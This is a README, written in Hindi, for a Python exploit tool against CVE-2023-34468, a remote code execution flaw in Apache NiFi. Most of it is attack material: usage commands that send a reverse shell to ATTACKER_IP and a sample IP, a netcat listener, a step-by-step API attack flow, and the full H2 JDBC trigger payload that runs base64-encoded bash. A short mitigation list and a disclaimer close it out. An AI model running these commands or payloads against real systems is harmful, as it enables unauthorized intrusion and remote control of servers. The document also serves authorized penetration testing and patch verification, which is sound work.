CVE-2023-34468 एक्सप्लॉइट

अवलोकन

यह रिपॉज़िटरी CVE-2023-34468 के लिए एक Python-आधारित एक्सप्लॉइट टूल प्रदान करती है, जो Apache NiFi संस्करण 0.0.2 से 1.21.0 में एक गंभीर रिमोट कोड एक्ज़ीक्यूशन भेद्यता (CVSS 9.8) है। यह प्रमाणित उपयोगकर्ताओं को एम्बेडेड ट्रिगर्स के साथ H2 डेटाबेस कनेक्शन स्ट्रिंग्स में हेरफेर करके मनमाना कोड निष्पादित करने की अनुमति देता है।

⚠️ चेतावनी: केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है।

भेद्यता विवरण

• CVE ID: CVE-2023-34468
• प्रभावित संस्करण: Apache NiFi 0.0.2–1.21.0
• प्रभाव: रिमोट कोड एक्ज़ीक्यूशन (RCE)
• CVSS स्कोर: 9.8 (गंभीर)
• खोज तिथि: 12 जून, 2023
• विवरण: DBCPConnectionPool और HikariCPConnectionPool कंट्रोलर सर्विसेज़ उपयोगकर्ताओं को H2 ड्राइवर के साथ एक डेटाबेस URL कॉन्फ़िगर करने की अनुमति देती हैं, जो H2 की CREATE TRIGGER कार्यक्षमता के माध्यम से मनमाना Java कोड निष्पादन सक्षम बनाती है। जब कनेक्शन प्रारंभ होता है, तो एम्बेडेड JavaScript कोड NiFi के विशेषाधिकारों के साथ निष्पादित होता है।

पूर्वापेक्षाएँ

• Python 3.7+
• requests लाइब्रेरी
• NiFi API तक नेटवर्क पहुँच (डिफ़ॉल्ट पोर्ट 8080 या 8443)
• बिना प्रमाणीकरण वाला लक्षित NiFi इंस्टेंस या मान्य क्रेडेंशियल्स
• रिवर्स शेल के लिए लिसनर सेटअप (जैसे, nc -lnvp 5555)

त्वरित आरंभ

क्लोन और इंस्टॉल करें

git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt

बिना प्रमाणीकरण वाला NiFi (कोई क्रेडेंशियल्स आवश्यक नहीं)

# अपना लिसनर शुरू करें
nc -lnvp 5555

# एक्सप्लॉइट चलाएँ — auth स्वतः-पता लगाया जाता है, खुले इंस्टेंस के लिए कोई फ्लैग आवश्यक नहीं
python3 exploit.py \
  -t http://nifi.target.com:8080 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555

प्रमाणित NiFi (यूज़रनेम/पासवर्ड)

python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  -u admin -p password123

प्रमाणित NiFi (बियरर टोकन)

python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  --token <your_bearer_token>

क्लीनअप छोड़ें (लक्ष्य पर आर्टिफैक्ट्स छोड़ें)

python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup

सभी विकल्प

python3 exploit.py --help

सत्यापन: रिवर्स शेल कनेक्शन के लिए अपना लिसनर जाँचें। कोड निष्पादन की पुष्टि के लिए id चलाएँ।

यह कैसे काम करता है (तकनीकी विवरण)

अटैक फ्लो

1. रीकॉनिसांस: /nifi-api/system-diagnostics के माध्यम से NiFi संस्करण की पहचान करें
2. DBCP सर्विस बनाएँ: /nifi-api/process-groups/root/controller-services पर दुर्भावनापूर्ण H2 कनेक्शन स्ट्रिंग POST करें
3. प्रोसेसर बनाएँ: उसी प्रोसेस ग्रुप में ExecuteSQL प्रोसेसर POST करें
4. प्रोसेसर कॉन्फ़िगर करें: प्रोसेसर को दुर्भावनापूर्ण DBCP सर्विस से संबद्ध करें
5. सर्विस सक्षम करें: state ENABLED के साथ /nifi-api/controller-services/{id}/run-status पर PUT करें
6. RCE ट्रिगर करें: state RUNNING के साथ /nifi-api/processors/{id}/run-status पर PUT करें — कनेक्शन पर H2 ट्रिगर सक्रिय होता है

H2 पेलोड संरचना

jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x

मुख्य बिंदु:

• सेमीकोलन को बैकस्लैश से एस्केप करें: \;
• JavaScript BEFORE SELECT ON INFORMATION_SCHEMA.TABLES पर सक्रिय होता है (स्वतः-ट्रिगर्ड)
• विशेष वर्ण समस्याओं से बचने के लिए पेलोड को Base64 एन्कोड करें
• H2 पार्सिंग समस्याओं से बचने के लिए पैडिंग बराबर चिह्नों को स्पेस से बदल दिया जाता है

पेलोड उदाहरण

रिवर्स शेल

# एक्सप्लॉइट सीधे चलाएँ
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555

कमांड निष्पादन

python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555

शमन (मिटिगेशन)

• अपडेट करें: Apache NiFi 1.22.0 या उसके बाद के संस्करण में अपग्रेड करें
• एक्सेस नियंत्रण: फ़ायरवॉल/WAF के माध्यम से NiFi API पहुँच प्रतिबंधित करें
• प्रमाणीकरण: NiFi पर प्रमाणीकरण सक्षम और लागू करें
• निगरानी: असामान्य कंट्रोलर सर्विस कॉन्फ़िगरेशन पर अलर्ट करें
• नेटवर्क सेगमेंटेशन: NiFi को अविश्वसनीय नेटवर्क से अलग रखें

संदर्भ

• NVD - CVE-2023-34468
• Apache NiFi सुरक्षा सलाह
• NIFI-11653 - इश्यू ट्रैकर
• Apache मेलिंग लिस्ट चर्चा

अस्वीकरण

यह टूल केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है। लेखक इस एक्सप्लॉइट के दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं है। केवल अधिकृत वातावरण में ही ज़िम्मेदारी से परीक्षण करें।

क्रेडिट्स

• खोज: Matei "Mal" Badanoiu
• Metasploit मॉड्यूल: h00die
• Python POC: Jean

लाइसेंस

MIT लाइसेंस - विवरण के लिए LICENSE फ़ाइल देखें

सुरक्षा अनुसंधान और अधिकृत पेनेट्रेशन परीक्षण के लिए निर्मित।

Topics: apache-nifi h2-database rce exploit cve-2023-34468 python security-research